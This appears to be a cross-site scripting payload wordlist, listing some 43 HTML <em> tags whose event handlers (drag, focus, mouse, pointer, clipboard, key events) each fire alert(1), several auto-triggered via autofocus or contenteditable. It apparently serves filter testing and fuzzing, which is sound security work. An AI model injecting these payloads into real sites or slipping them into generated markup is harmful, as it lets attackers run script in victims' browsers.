em.txt

<em draggable="true" ondrag="alert(1)">test</em>
<em draggable="true" ondragend="alert(1)">test</em>
<em draggable="true" ondragenter="alert(1)">test</em>
<em draggable="true" ondragleave="alert(1)">test</em>
<em draggable="true" ondragstart="alert(1)">test</em>
<em id=x tabindex=1 onactivate=alert(1)></em>
<em id=x tabindex=1 onbeforeactivate=alert(1)></em>
<em id=x tabindex=1 onbeforedeactivate=alert(1)></em><input autofocus>
<em id=x tabindex=1 ondeactivate=alert(1)></em><input id=y autofocus>
<em id=x tabindex=1 onfocus=alert(1)></em>
<em id=x tabindex=1 onfocusin=alert(1)></em>
<em onafterscriptexecute=alert(1)><script>1</script>
<em onbeforecopy="alert(1)" contenteditable>test</em>
<em onbeforecut="alert(1)" contenteditable>test</em>
<em onbeforepaste="alert(1)" contenteditable>test</em>
<em onbeforescriptexecute=alert(1)><script>1</script>
<em onblur=alert(1) tabindex=1 id=x></em><input autofocus>
<em onclick="alert(1)">test</em>
<em oncontextmenu="alert(1)">test</em>
<em oncopy=alert(1) value="XSS" autofocus tabindex=1>test
<em oncut=alert(1) value="XSS" autofocus tabindex=1>test
<em ondblclick="alert(1)" autofocus tabindex=1>test</em>
<em onfocusout=alert(1) tabindex=1 id=x></em><input autofocus>
<em onkeydown="alert(1)" contenteditable>test</em>
<em onkeypress="alert(1)" contenteditable>test</em>
<em onkeyup="alert(1)" contenteditable>test</em>
<em onmousedown="alert(1)">test</em>
<em onmouseenter="alert(1)">test</em>
<em onmouseleave="alert(1)">test</em>
<em onmousemove="alert(1)">test</em>
<em onmouseout="alert(1)">test</em>
<em onmouseover="alert(1)">test</em>
<em onmouseup="alert(1)">test</em>
<em onmousewheel=alert(1)>requires scrolling
<em onpaste="alert(1)" contenteditable>test</em>
<em onpointerdown=alert(1)>XSS</em>
<em onpointerenter=alert(1)>XSS</em>
<em onpointerleave=alert(1)>XSS</em>
<em onpointermove=alert(1)>XSS</em>
<em onpointerout=alert(1)>XSS</em>
<em onpointerover=alert(1)>XSS</em>
<em onpointerrawupdate=alert(1)>XSS</em>
<em onpointerup=alert(1)>XSS</em>